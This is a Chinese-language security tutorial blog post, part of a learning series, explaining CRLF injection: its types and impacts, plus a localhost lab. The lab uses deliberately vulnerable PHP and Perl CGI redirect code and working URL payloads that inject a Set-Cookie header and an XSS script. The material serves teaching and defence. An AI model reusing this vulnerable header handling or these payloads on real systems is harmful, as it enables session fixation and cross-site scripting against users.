iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 8
3
Security

資安這條路─以自建漏洞環境學習資訊安全系列 第 8

資安這條路 08 - [injection] CRLF injection

CRLF injection

什麼是 CRLF

  • 我們可以查看 Day 2 我介紹的 HTTP 中請求跟回應,有一個 CRLF ,用來告訴伺服器說我們已經換行了。
  • 換行
    • CRLF : Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n)
    • CR(0x13,%0d ), LF(0x10,%0a) - URL encoded

什麼是 CRLF injection

  • 在可以插入字串的地方插入 CR(0x13)+ LF(0x10),用來欺騙伺服器,告訴這裡我們這邊提早換行,然後在後面插入惡意的 payload 。

CRLF injection 常見的弱點處

  • 使用者輸入的字串,被當作 HTTP Header 參數的值,一樣在 Iot 設備很常見。

CRLF injection 類型

  1. HTTP Header CRLF injection
  2. HTTP Response CRLF injection
  3. Mail Header CRLF injection

CRLF injection 危害

  1. 任意轉址到惡意網站
  2. 可能造成 session 固定攻擊
  3. 可能造成 XSS
  4. 可能構造任何 HTTP Header 造成網頁內容被改變

LAB

原本 LAB 想要用 PHP 呈現,不過 PHP 後來改版之後,不能注入多行的 Header。

  • 錯誤範例
    <?php
    if (isset($_GET['url'])){
        $url = $_GET['url'];
        header('Location: '.$url);
    }
    
    • http://localhost:8005/crlf.php?url=https://google.com.tw 轉跳到 google.com.tw 正常功能
    • http://localhost:8005/crlf.php?url=/%0D%0ASet-Cookie:feifei=good 噴錯
  • 來寫一個 CGI perl !
    #!/usr/bin/perl -w
    use CGI qw(:standard);
    use strict;
    use warnings;
    
    my $query = new CGI;
    my $p = $query->param('p');
    print "Location: /$p\n\n";
    
    • 造成 session 固定攻擊,任意設置 cookie
      • http://localhost:8080/hello_world.pl?p=%0aSet-cookie:feifei%3Dgood
    • 造成 XSS ,我彈我自己,彈啦,哪次沒彈的
      • http://localhost:8080/hello_world.pl?p=%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

上一篇
資安這條路 07 - [Injection] Command injection
下一篇
資安這條路 09 - [Injection] Server-side template injection
系列文
資安這條路─以自建漏洞環境學習資訊安全31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言